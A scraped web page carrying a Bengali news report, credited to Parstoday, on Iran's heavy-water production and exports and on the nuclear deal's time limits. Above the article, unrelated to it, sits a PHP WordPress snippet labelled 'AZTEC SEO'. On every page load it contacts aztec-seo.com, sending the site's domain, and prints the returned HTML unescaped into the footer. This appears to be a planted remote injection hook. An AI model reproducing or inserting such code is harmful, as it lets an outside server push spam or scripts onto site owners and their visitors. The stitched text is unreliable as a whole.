/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
ইসলামি প্রজাতন্ত্র ইরান পর্যাপ্ত পরিমাণে নিজেদের চুল্লিতে হেভিওয়াটার উৎপাদন করছে এবং প্রয়োজন মিটিয়ে বিশ্বের আট দেশে তা রপ্তানি করছে। ইরানের আণবিক শক্তি সংস্থার মুখপাত্র বেহরুজ কামালবান্দি গতকাল (সোমবার) এ তথ্য জানান।
তিনি বলেন, ইরানের অবশ্যই নিজের পরমাণু বিদ্যুৎ স্থাপনা থাকতে হবে এবং এসব স্থাপনার জন্য যে জ্বালানি প্রয়োজন হবে তাও দেশেই উৎপাদন করতে হবে। পাশাপাশি অভ্যন্তরীণ প্রয়োজন মেটানোর জন্য যেসব পরমাণু

ওষুধ লাগবে তাও দেশে উৎপাদন করা হবে।
গতকাল ইরানের টেলিভিশন চ্যানেলকে দেয়া সাক্ষাৎকারে কামালবান্দি বলেন, ইরান কখনো হেভিওয়াটার উৎপাদন বন্ধ করে নি বরং এ খাতে এখন চমৎকার উন্নতি অর্জন করেছে। তিনি বলেন, “পরমাণু সমঝোতার শর্ত অনুযায়ী আট থেকে ১০ বছর সীমাবদ্ধতা থাকবে, তারপর সময়ের ব্যবধানে এসব সীমাবদ্ধতা উঠে যাবে। আমাদের সামনে পরমাণু সমঝোতার সময়সীমা ১০ বছরের বেশি নয়।
বেহরুজ কামালবান্দি জানান, পরমাণু সমঝোতা সই হওয়ার পর কোনো কোনো দেশ ইরানের পরমাণু কর্মসূচিতে অর্থ বিনিয়োগ করতে চেয়েছিল যাতে ইরানের পরমাণু স্থাপনাগুলোর জন্য প্রয়োজনীয় জ্বালানি উৎপাদন করা যায়। কিন্তু আমেরিকাকে তাতে বাধা দিয়েছে। সূত্র : পার্সটুডে